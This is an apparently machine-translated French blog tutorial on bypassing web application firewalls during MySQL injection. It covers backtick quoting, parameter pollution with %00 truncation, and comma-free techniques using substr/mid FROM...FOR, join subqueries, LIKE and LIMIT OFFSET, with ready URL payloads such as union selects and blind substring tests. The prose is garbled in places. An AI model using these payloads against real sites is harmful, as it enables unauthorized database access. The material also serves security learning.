当前位置:网站首页>SQL injection Bypass (2)
SQL injection Bypass (2)
2022-06-28 02:21:00 【A τθ】
Un.、Contournement des guillemets inversés
In mysql Peut être utilisé `Voici les guillemets inverses` Contourner un peu waf Interception.Les champs peuvent être cités à l'envers ou non,Même sens.
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

2.、Les fonctions de langage de script contournent
1、Introduction
In php Dans la langue,id=1&id=2 Les valeurs suivantes écrasent automatiquement les valeurs précédentes,Différentes langues ont des caractéristiques différentes.Vous pouvez l'utiliser pour contourner certains waf Interception.
id=1%00&id=2 union select 1,2,3
Certains waf Va correspondre au premier id Paramètres1%00, %00 C'est un caractère tronqué,waf Sera automatiquement tronqué Pour ne pas détecter ce qui suit.Dans le programme.,id Est égal à id=2 union select 1,2,3 Interception par injection de contournement .
Autres caractéristiques linguistiques

2、Pratique.1


3、Pratique.2
?name=vince%00&name=' union select 1,database()--+&submit=1

Trois、 Contournement des virgules
Certains scripts anti - injection sont actuellement interceptés par des virgules , Par exemple, l'injection régulière doit contenir une virgule .
select * from users where id=1 union select 1,2,3,4;
Les virgules sont généralement filtrées en blanc ,select * from users where id=1 union select 1 2 3 4;Voilà.SQL L'instruction va mal tourner .Alors..., Peut être fait sans virgule SQL Injection.
Les méthodes de contournement sont les suivantes :
1、La première façon:substr Tronquer une chaîne
Interroger le premier caractère de la Bibliothèque actuelle :
select(substr(database() from 1 for 1));
Requête p égal à select(substr(database() from 1 for 1)),Retour à la normale.
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
Peut être optimisé davantage m Remplacer par hex 0x6D, Cela évite les guillemets simples .
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、La deuxième façon:mid Tronquer une chaîne
C'est min La fonction suit substr La fonction fonctionne de la même façon,Si substr Cette fonction peut être utilisée au lieu de .
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、La troisième façon: Utiliser join Contournement
Utiliser join Auto - connexion de deux tables :
union select 1,2 #Équivalent à union select * from (select 1)a join (select 2)b,Parmi euxa Et b Alias de la table.
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
Il n'y a pas de virgule ici non plus ,Pour contourner waf Interception des virgules .

4、La quatrième voie:like Contournement
Utiliser like Requête floue select user() like '%r%'; Requête floue retournée avec succès 1,Sinon, retournez à 0
Après avoir trouvé le premier caractère, passez à la correspondance suivante.Pour trouver toutes les chaînes,Enfin, le contenu à interroger,Ce genre de SQL Il n'y aura pas non plus de virgule dans l'instruction d'injection.Pour contourner waf Interception.

5、La Cinquième façon:limit offset Contournement
SQL Au moment de l'injection,Si vous avez besoin d'une entrée qualifiée, vous pouvez utiliser limit 0,1 Limiter le nombre d'entrées retournées ,limit 0,1 Retour à un enregistrement .Si vous interceptez une virgule,Peut être utilisé limit 1 La valeur par défaut renvoie les premières données.Peut également être utilisé limit 1 offset 0 Retour au premier enregistrement à partir de zéro,Ça contourne. waf Interception.

边栏推荐
- Appium自动化测试基础 — ADB常用命令(一)
- Adobe Premiere Basics - common video effects (cropping, black and white, clip speed, mirroring, lens halo) (XV)
- Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable
- 网络爬虫是什么
- How to study efficiently
- Coscon'22 lecturer solicitation order
- 205. isomorphic string
- 【永艺XY椅】试用体验
- Prometeus 2.35.0 新特性
- Voice network VQA: make the user's subjective experience of unknown video quality in real-time interaction known
猜你喜欢

一张图弄懂 MIT,BSD,Apache几种开源协议之间的区别

Cesium obtains the latitude and longitude range of the screen

Jenkins - Pipeline concept and creation method

Hi, you have a code review strategy to check!

Intranet penetration with FRP

SQL 注入绕过(二)

Jenkins - Copy Artifact 插件 Build 之间数据共享传递
![[Niuke discussion area] Chapter 4: redis](/img/53/f8628c65890f1c68cedab9008c1b84.png)
[Niuke discussion area] Chapter 4: redis

1382. 将二叉搜索树变平衡-常规方法

Chapitre 4: redis
随机推荐
Cesium obtains the latitude and longitude range of the screen
利用redis bitmap实现人员在线情况监控
解决ionic4 使用hammerjs手势 press 事件,页面无法滚动问题
Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable
Deep parsing of kubernetes controller runtime
Cesium 点击获取经纬度(二维坐标)
嵌入式必学!硬件资源接口详解——基于ARM AM335X开发板 (下)
The interviewer asked: this point of JS
Evaluation - rank sum ratio comprehensive evaluation
Jenkins - 访问 Jenkins 自定义参数变量,处理变量值中含有空格
Cesium 抗锯齿(线,边框等)
Locust performance test - parameterization, no repetition of concurrent cyclic data sampling
[Yocto RM]9 - QA Error and Warning Messages
Jenkins - Pipeline 语法
TIA botu_ Concrete method of making analog input and output Global Library Based on SCL language
Jenkins - Groovy Postbuild 插件丰富 Build History 信息
外盘期货哪里可以开户?哪个平台出入金比较安全?
将某数据库N多表名作为另外一张表中某一列得值(范围可以是别的数据库中得某张表)
Coscon'22 lecturer solicitation order
Jenkins - Pipeline 概念及创建方式